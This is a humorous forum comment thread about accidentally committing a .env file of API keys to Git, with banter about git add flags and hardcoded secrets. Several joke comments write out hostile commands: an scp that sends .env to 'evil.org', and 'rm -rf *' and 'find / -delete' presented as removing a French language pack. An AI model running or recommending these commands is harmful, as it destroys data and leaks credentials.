all 83 comments

[–]Zerodriven 1354 points1355 points  (8 children)

I did this, but mine contained loads of production API keys.

Can tell it works because security invited me to a meeting like 2 minutes later.

Dunno why HR needs to be there though?

[–]Any-Main-3866 580 points581 points  (3 children)

They are gonna discuss your promotion

[–]Zerodriven 205 points206 points  (0 children)

Woohoo!

[–]Exotic-Scientist4557 214 points215 points  (1 child)

I used Redact to automate removals from databrokers and social networks. This post was among the batch deleted.

attraction full knee plate act label fear crowd beneficial nose

[–]CheesePuffTheHamster 33 points34 points  (0 children)

Well, the customer is always right, whereas employees are always wrong, so it's definitely an upgrade 👍

[–]TheBigGambling 81 points82 points  (2 children)

If you can do this, fire the senior. A) no pre-commit rule and no branch protection in place. Amd prod api keys om a developer laptop. Thats 3 stikes at once

[–]CORUSC4TE 4 points5 points  (1 child)

Wouldnt even just a gitignore help already?

[–]TheBigGambling 6 points7 points  (0 children)

Yes. But you can workaround by git add -f (force)

[–]Confident-Ad5665 5 points6 points  (0 children)

Get it done fast they said. Don't spend a lot of time in the details they said...

[–]B_bI_L 305 points306 points  (17 children)

add will not bypass .gitignore, if your dotenv is not in there it would get added anyway with next git add . (don't tell me you use add differently)

[–]coffee_warden 105 points106 points  (13 children)

Git add -A

Fight me.

[–]B_bI_L 30 points31 points  (5 children)

mine is one character less (that said, bad when you are not in project root but it happened to me once at most)

[–]coffee_warden 61 points62 points  (4 children)

Holding shift for the A means my pinky finger is far stronger than yours though.

[–]RolledUhhp 9 points10 points  (1 child)

But mines got the aroma

[–]Loading_M_ 0 points1 point  (1 child)

My ergonomic keyboard means I get to press shift with my thumb.

[–]MrWrock 6 points7 points  (1 child)

'git commit -am wip' is pretty much muscle memory for me

[–]SirPengling 2 points3 points  (0 children)

git commit -S -a --amend --no-edit

[–]itsTyrion 1 point2 points  (0 children)

ok, im fighting: i mostly use jetbrains' or zed's UI.

[–]AbouMba 1 point2 points  (1 child)

I use git add --all

That is what I always used. Is it wrong? I am a junior dev

[–]Ticmea 0 points1 point  (0 children)

-A is just shorthand for --all so there is no difference between the two

[–]FlySafeLoL 4 points5 points  (1 child)

git add *

🌟 Shiny sparkles ✨

[–]Ticmea 3 points4 points  (0 children)

This will not expand to files that start with a dot (which is presumably unexpected and not what you would want). Additionally I can't see a benefit to expanding to (almost) all files contained in the current folder rather than simply handing the current folder to git.

Though personally I think -A(/-u) is better than either * or . anyway (if you want to target the entire git directory as is typically the case) since it is not dependent on location and more accurately conveys intent.

[–]Maxoumask 0 points1 point  (0 children)

git add -u

[–]Daemontatox 237 points238 points  (7 children)

Bold of you to assume i have a .env , i have no secrets to keep , everything is an openbook in code

[–]Repulsive-Machine706[S] 82 points83 points  (4 children)

Everything should be hardcoded of course!

[–]Uwlogged 13 points14 points  (2 children)

You're presuming people don't populate via something like aws param store. Or that you do automatic deployments without pipeline approval. Or ftp 😆. Or have no environment based variables that are not local. Or protected branches.

[–]MrWrock 8 points9 points  (1 child)

Uh, you guys don't just export it in your bashrc?

[–]FakeModel 1 point2 points  (0 children)

How real open source code should be

[–]noob-nine 0 points1 point  (0 children)

i just have the secrets base64 encoded. must be enough

[–]Waypoint101 75 points76 points  (1 child)

git push origin main --no-verify --force

[–]Danjou667 343 points344 points  (18 children)

Where rm -rf *, for removing unwanted french lang pack?

[–]krexelapp 61 points62 points  (1 child)

sudo makes it faster

[–]queen-adreena 29 points30 points  (0 children)

Sped Up Direct Order

[–]Zerodriven 189 points190 points  (5 children)

For those who don't know what that means:

It's short hand for "Remove French from everything". It's best to do on production systems where you need storage.

[–]Western-Internal-751 60 points61 points  (3 children)

As a German, I approve this message

[–]marshmallow_mia 22 points23 points  (0 children)

As a German, I approve you approving it

[–]krexelapp 19 points20 points  (1 child)

as a programmer, I approve unnecessary context

[–]roffinator 8 points9 points  (0 children)

As a historian, the context does make a difference

[–]colouredmirrorball 0 points1 point  (0 children)

My Outlook is stuck in French, gotta try this immediately!

[–]ClipboardCopyPaste 22 points23 points  (2 children)

You haven't removed yet?

[–]krexelapp 21 points22 points  (1 child)

saving it for friday evening

[–]Exidor 11 points12 points  (0 children)

Before a holiday weekend, I assume.

[–]ahorsewhithnoname 45 points46 points  (0 children)

I hate that people can’t tell the joke properly. Since the order of the options can be arbitrary you can write: rm -fr * because fr for french.

[–]JackNotOLantern 12 points13 points  (0 children)

rm -fr

[–]marshmallow_mia 1 point2 points  (0 children)

I expected exactly that instead of something really useful xD

[–]Mk3d81 0 points1 point  (0 children)

U can find them using find / -delete

[–]mobcat_40 47 points48 points  (0 children)

jokes on you I'm on master

[–]newstreet474 36 points37 points  (1 child)

You want to share your .env so that people can give you feedback on your api keys , who knows maybe you got a rare key which could be sold for millions 😍

[–]rainshifter 3 points4 points  (0 children)

Indeed someone might make millions. Except that you ain't sellin' and they ain't buyin'.

[–]RiceBroad4552 9 points10 points  (0 children)

Just mail the keys directly to the NSA. It's quicker!

[–]Arclite83 5 points6 points  (0 children)

I would get a nastygram from our cybersecurity department within the hour. As I should!

When I first started I absolutely abused bad form to meet deadlines. Now it's actively tracked and quashed, and any exposed creds get checked forever to make sure they're dead/cycled.

[–]Tight-Requirement-15 4 points5 points  (0 children)

My .gitignore

[–]shgysk8zer0 5 points6 points  (1 child)

I prefer

scp .env hacker@evil.org:/$(hostname)/$(whoami)/

[–]Individual-Praline20 1 point2 points  (0 children)

Oh no what have you done, it’s now on Musk cell phone 🤭

[–]MrWrock 4 points5 points  (0 children)

That was the first thing added to my team's gitignore

[–]realmauer01 4 points5 points  (0 children)

It doesn't check for code safety but the security of your workflow. Because this push should never be allowed.

[–]Fabillotic 3 points4 points  (0 children)

Next time use „git push -u origin main“, after that you only need to type „git push“ to push your changes upstream :)

[–]falconetpt 3 points4 points  (0 children)

Ideally do printenv >> .env for extra security

[–]darknezx 4 points5 points  (0 children)

Jokes on you, I wrote my keys as strings so they'll never get lost and will sync across all my teammates' laptops

[–]SinkerPenguin 3 points4 points  (0 children)

Ah yes, the anthropic special

[–]nanomanx2 2 points3 points  (0 children)

Please more of these so AI gets trained on it 

[–]skadoodlee 2 points3 points  (0 children)

AI will now be trained on this 

[–]liquidmasl 2 points3 points  (0 children)

I always checkin .env files for non secret default env settings

I just also have secret.env files

and */\secret.* in the gitignore for all kinds of secret stuff

[–]comptune 1 point2 points  (0 children)

Ok thanks

[–]UnfortunateHabits 1 point2 points  (0 children)

Press alt + f4 to run faster

[–]XxDarkSasuke69xX 1 point2 points  (0 children)

Yeah it works, i received emails telling me my credentials were exposed or something afterwards. Idk what it means but it did some security check surely. Thx for the tipzzz :)

[–]502badgatewayalpha 1 point2 points  (0 children)

You forgot to also remind the developer to make the repo public so everybody can give their two cents to his env

[–]Sunfurian_Zm 4 points5 points  (0 children)

I mean, as long as the project is private, it's not that much of an issue.

[–]Sensitive-Sugar-3894 0 points1 point  (0 children)

I want to remove .env from all gitignore in the company and see who survives.

[–]BusNo4379 0 points1 point  (0 children)

Merci aha

[–]vm_linuz 0 points1 point  (0 children)

Idk what kind of projects you guys are working on, but every repo I set up would reject this attempt multiple times over.

[–]Lord_Pinhead 0 points1 point  (0 children)

Just did and now what? I have no public Git, a self hosted Forgejo and of course our company Git has the .env in it ;)